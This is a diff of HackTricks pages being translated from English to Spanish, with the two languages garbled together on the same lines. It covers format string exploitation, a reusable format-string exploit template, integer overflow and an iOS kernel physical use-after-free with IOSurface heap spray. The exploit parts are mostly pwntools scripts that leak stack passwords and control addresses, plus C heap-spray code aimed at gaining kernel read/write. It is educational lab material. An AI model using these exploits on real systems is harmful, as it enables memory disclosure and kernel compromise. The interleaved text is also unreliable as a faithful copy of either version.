{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Read Binary Start ## Leer Binario Inicio
### Code
### Código
```c ```c
#include <stdio.h> #include <stdio.h>
int main(void) { int main(void) {
char buffer[30]; char buffer[30];
fgets(buffer, sizeof(buffer), stdin); fgets(buffer, sizeof(buffer), stdin);
printf(buffer); printf(buffer);
return 0; return 0;
} }
``` ```
Compílalo con:
Compile it with:
```python ```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie clang -o fs-read fs-read.c -Wno-format-security -no-pie
``` ```
### Explotar
### Exploit
```python ```python
from pwn import * from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload) p.sendline(payload)
log.info(p.clean()) log.info(p.clean())
``` ```
- El **offset es 11** porque al establecer varios A y **forzar por fuerza bruta** con un bucle de offsets de 0 a 50 se encontró que en el offset 11 y con 5 caracteres extra (pipes `|` en nuestro caso), es posible controlar una dirección completa.
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - Usé **`%11$p`** con relleno hasta que la dirección fuera todo 0x4141414141414141
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 - La **carga útil de la cadena de formato está ANTES de la dirección** porque **printf deja de leer en un byte nulo**, así que si enviamos la dirección y luego la cadena de formato, printf nunca alcanzará la cadena de formato ya que se encontrará un byte nulo antes
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before - La dirección seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords ## Leer contraseñas
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() { int main() {
char stack_password[20] = "secretStackPass"; // Password in stack char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20]; char input1[20], input2[20];
printf("Enter first password: "); printf("Enter first password: ");
scanf("%19s", input1); scanf("%19s", input1);
printf("Enter second password: "); printf("Enter second password: ");
scanf("%19s", input2); scanf("%19s", input2);
// Vulnerable printf // Vulnerable printf
printf(input1); printf(input1);
printf("\n"); printf("\n");
// Check both passwords // Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n"); printf("Access Granted.\n");
} else { } else {
printf("Access Denied.\n"); printf("Access Denied.\n");
} }
return 0; return 0;
} }
``` ```
Compílalo con:
Compile it with:
```bash ```bash
clang -o fs-read fs-read.c -Wno-format-security clang -o fs-read fs-read.c -Wno-format-security
``` ```
### Leer desde la pila
### Read from stack La **`stack_password`** se almacenará en la pila porque es una variable local, así que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila:
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
```python ```python
from pwn import * from pwn import *
for i in range(100): for i in range(100):
print(f"Try: {i}") print(f"Try: {i}")
payload = f"%{i}$s\na".encode() payload = f"%{i}$s\na".encode()
p = process("./fs-read") p = process("./fs-read")
p.sendline(payload) p.sendline(payload)
output = p.clean() output = p.clean()
print(output) print(output)
p.close() p.close()
``` ```
En la imagen es posible ver que podemos filtrar la contraseña desde la pila en la posición `10`:
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure> <figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data ### Leer datos
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: Ejecutando el mismo exploit pero con `%p` en lugar de `%s` es posible filtrar una dirección de heap desde la pila en `%25$p`. Además, comparando la dirección filtrada (`0xaaaab7030894`) con la posición de la contraseña en la memoria en ese proceso, podemos obtener la diferencia de direcciones:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: Ahora es el momento de encontrar cómo controlar 1 dirección en la pila para acceder a ella desde la segunda vulnerabilidad de formato de cadena:
```python ```python
from pwn import * from pwn import *
def leak_heap(p): def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p") p.sendlineafter(b"first password:", b"%5$p")
p.recvline() p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16) return int(response, 16)
for i in range(30): for i in range(30):
p = process("./fs-read") p = process("./fs-read")
heap_leak_addr = leak_heap(p) heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}") print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}") print(f"Try: {i}")
payload = f"%{i}$p|||".encode() payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA" payload += b"AAAAAAAA"
p.sendline(payload) p.sendline(payload)
output = p.clean() output = p.clean()
print(output.decode("utf-8")) print(output.decode("utf-8"))
p.close() p.close()
``` ```
Y es posible ver que en el **try 14** con el paso utilizado podemos controlar una dirección:
And it's possible to see that in the **try 14** with the used passing we can control an address:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
p = process("./fs-read") p = process("./fs-read")
def leak_heap(p): def leak_heap(p):
# At offset 25 there is a heap leak # At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p") p.sendlineafter(b"first password:", b"%25$p")
p.recvline() p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16) return int(response, 16)
heap_leak_addr = leak_heap(p) heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}") print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output) print(output)
p.close() p.close()
``` ```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template # Plantilla de Cadenas de Formato
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary(): def connect_binary():
global P, ELF_LOADED, ROP_LOADED global P, ELF_LOADED, ROP_LOADED
if LOCAL: if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP: elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH: elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets ROP_LOADED = ROP(elf)# Find ROP gadgets
####################################### #######################################
@ -60,39 +59,39 @@ def connect_binary():
####################################### #######################################
def send_payload(payload): def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload)) log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload) P.sendline(payload)
sleep(0.5) sleep(0.5)
return P.recv() return P.recv()
def get_formatstring_config(): def get_formatstring_config():
global P global P
for offset in range(1,1000): for offset in range(1,1000):
connect_binary() connect_binary()
P.clean() P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
if b"41" in recieved: if b"41" in recieved:
for padlen in range(0,4): for padlen in range(0,4):
if b"41414141" in recieved: if b"41414141" in recieved:
connect_binary() connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
print(recieved) print(recieved)
if b"42424242" in recieved: if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})") log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen return offset, padlen
else: else:
connect_binary() connect_binary()
payload = b" " + payload payload = b" " + payload
recieved = send_payload(payload).strip() recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload # In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary() connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH: if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue # attach gdb and continue
# You can set breakpoints, for example "break *main" # You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5) sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive() P.interactive()
``` ```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow # Desbordamiento de Enteros
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. En el corazón de un **desbordamiento de enteros** está la limitación impuesta por el **tamaño** de los tipos de datos en la programación de computadoras y la **interpretación** de los datos.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. Por ejemplo, un **entero sin signo de 8 bits** puede representar valores de **0 a 255**. Si intentas almacenar el valor 256 en un entero sin signo de 8 bits, se envuelve a 0 debido a la limitación de su capacidad de almacenamiento. De manera similar, para un **entero sin signo de 16 bits**, que puede contener valores de **0 a 65,535**, agregar 1 a 65,535 hará que el valor vuelva a 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). Además, un **entero con signo de 8 bits** puede representar valores de **-128 a 127**. Esto se debe a que un bit se utiliza para representar el signo (positivo o negativo), dejando 7 bits para representar la magnitud. El número más negativo se representa como **-128** (binario `10000000`), y el número más positivo es **127** (binario `01111111`).
### Max values ### Valores máximos
For potential **web vulnerabilities** it's very interesting to know the maximum supported values: Para las posibles **vulnerabilidades web**, es muy interesante conocer los valores máximos soportados:
{{#tabs}} {{#tabs}}
{{#tab name="Rust"}} {{#tab name="Rust"}}
```rust ```rust
fn main() { fn main() {
let mut quantity = 2147483647; let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity); let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity); let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result); println!("{}", mul_result);
println!("{}", add_result); println!("{}", add_result);
} }
``` ```
{{#endtab}} {{#endtab}}
{{#tab name="C"}} {{#tab name="C"}}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <limits.h> #include <limits.h>
int main() { int main() {
int a = INT_MAX; int a = INT_MAX;
int b = 0; int b = 0;
int c = 0; int c = 0;
b = a * 100; b = a * 100;
c = a + 1; c = a + 1;
printf("%d\n", INT_MAX); printf("%d\n", INT_MAX);
printf("%d\n", b); printf("%d\n", b);
printf("%d\n", c); printf("%d\n", c);
return 0; return 0;
} }
``` ```
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
## Examples ## Ejemplos
### Pure overflow ### Desbordamiento puro
The printed result will be 0 as we overflowed the char:
El resultado impreso será 0 ya que desbordamos el char:
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
unsigned char max = 255; // 8-bit unsigned integer unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1; unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow printf("Result: %d\n", result); // Expected to overflow
return 0; return 0;
} }
``` ```
### Conversión de Firmado a No Firmado
### Signed to Unsigned Conversion Considere una situación en la que un entero firmado se lee de la entrada del usuario y luego se utiliza en un contexto que lo trata como un entero no firmado, sin la validación adecuada:
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
```c ```c
#include <stdio.h> #include <stdio.h>
int main() { int main() {
int userInput; // Signed integer int userInput; // Signed integer
printf("Enter a number: "); printf("Enter a number: ");
scanf("%d", &userInput); scanf("%d", &userInput);
// Treating the signed input as unsigned without validation // Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput; unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative // A condition that might not work as intended if userInput is negative
if (processedInput > 1000) { if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput); printf("Processed Input is large: %u\n", processedInput);
} else { } else {
printf("Processed Input is within range: %u\n", processedInput); printf("Processed Input is within range: %u\n", processedInput);
} }
return 0; return 0;
} }
``` ```
En este ejemplo, si un usuario introduce un número negativo, se interpretará como un gran entero sin signo debido a la forma en que se interpretan los valores binarios, lo que puede llevar a un comportamiento inesperado.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. ### Otros Ejemplos
### Other Examples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection - Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20; - Dado un par de números, encuentra usando z3 un nuevo número que multiplicado por el primero dará el segundo:&#x20;
``` ```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
``` ```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections - Solo se utiliza 1B para almacenar el tamaño de la contraseña, por lo que es posible desbordarlo y hacer que piense que su longitud es de 4, mientras que en realidad es 260 para eludir la protección de verificación de longitud y sobrescribir en la pila la siguiente variable local y eludir ambas protecciones.
## ARM64 ## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). Esto **no cambia en ARM64** como puedes ver en [**esta publicación del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,212 +1,203 @@
# iOS Exploiting # iOS Exploiting
## Physical use-after-free ## Uso físico después de liberar
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), además de que se puede encontrar más información sobre la explotación utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a> ### Gestión de memoria en XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **kernel** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales.
#### Levels of Page Tables in iOS #### Niveles de Tablas de Páginas en iOS
Page tables are organized hierarchically in three levels: Las tablas de páginas están organizadas jerárquicamente en tres niveles:
1. **L1 Page Table (Level 1)**: 1. **Tabla de Páginas L1 (Nivel 1)**:
* Each entry here represents a large range of virtual memory. * Cada entrada aquí representa un amplio rango de memoria virtual.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. * Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual.
2. **L2 Page Table (Level 2)**: 2. **Tabla de Páginas L2 (Nivel 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). * Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself. * Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.
3. **L3 Page Table (Level 3)**: 3. **Tabla de Páginas L3 (Nivel 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page. * Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**.
* An L2 entry may point to an L3 table if more granular control is needed. * Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.
#### Mapping Virtual to Physical Memory #### Mapeo de Memoria Virtual a Física
* **Direct Mapping (Block Mapping)**: * **Mapeo Directo (Mapeo por Bloque)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). * Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo).
* **Pointer to Child Page Table**: * **Puntero a Tabla de Páginas Hija**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). * Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2).
#### Example: Mapping a Virtual Address #### Ejemplo: Mapeo de una Dirección Virtual
Lets say you try to access the virtual address **0x1000000000**: Supongamos que intentas acceder a la dirección virtual **0x1000000000**:
1. **L1 Table**: 1. **Tabla L1**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. * El kernel verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2.
2. **L2 Table**: 2. **Tabla L2**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. * El kernel verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí.
3. **L3 Table**: 3. **Tabla L3**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. * El kernel busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real.
#### Example of Address Mapping #### Ejemplo de Mapeo de Direcciones
If you write the physical address **0x800004000** into the first index of the L2 table, then: Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. * Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**.
* This is a **block mapping** at the L2 level. * Este es un **mapeo por bloque** a nivel L2.
Alternatively, if the L2 entry points to an L3 table: Alternativamente, si la entrada L2 apunta a una tabla L3:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. * Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3.
### Physical use-after-free ### Uso físico después de liberar
A **physical use-after-free** (UAF) occurs when: Un **uso físico después de liberar** (UAF) ocurre cuando:
1. A process **allocates** some memory as **readable and writable**. 1. Un proceso **asigna** algo de memoria como **legible y escribible**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access. 2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder.
3. The process **deallocates** (frees) the memory. 3. El proceso **desasigna** (libera) la memoria.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. 4. Sin embargo, debido a un **error**, el kernel **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. 5. El kernel puede entonces **reasignar esta "memoria física liberada"** para otros propósitos, como **datos del kernel**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory. 6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. Esto significa que el proceso puede acceder a **páginas de memoria del kernel**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del kernel**.
### Exploitation Strategy: Heap Spray ### Estrategia de Explotación: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: Dado que el atacante no puede controlar qué páginas específicas del kernel se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory. 1. El atacante **crea una gran cantidad de objetos IOSurface** en la memoria del kernel.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. 2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. 3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. 4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del kernel**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process ### Proceso Paso a Paso de Heap Spray
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). 1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. 2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos se ha asignado en una página liberada.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: 3. **Leer/Escribir en la Memoria del Kernel**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del kernel. Esto les permite:
* Use one field to **read any 32-bit value** in kernel memory. * Usar un campo para **leer cualquier valor de 32 bits** en la memoria del kernel.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. * Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable del kernel**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde:
```c ```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return; if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) { for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args; fast_create_args_t args;
lock_result_t result; lock_result_t result;
size_t size = IOSurfaceLockResultSize; size_t size = IOSurfaceLockResultSize;
args.address = 0; args.address = 0;
args.alloc_size = *nClients + 1; args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC; args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id; io_connect_t id = result.surface_id;
(*clients)[*nClients] = id; (*clients)[*nClients] = id;
*nClients = (*nClients) += 1; *nClients = (*nClients) += 1;
} }
} }
``` ```
Buscar objetos **`IOSurface`** en una página física liberada:
Search for **`IOSurface`** objects in one freed physical page:
```c ```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0; int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) { for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) { for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j]; uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16); uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) { for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k; info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k); if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone; goto sprayDone;
} }
} }
} }
} }
sprayDone: sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) { for (int i = 0; i < nSurfaceIDs; i++) {
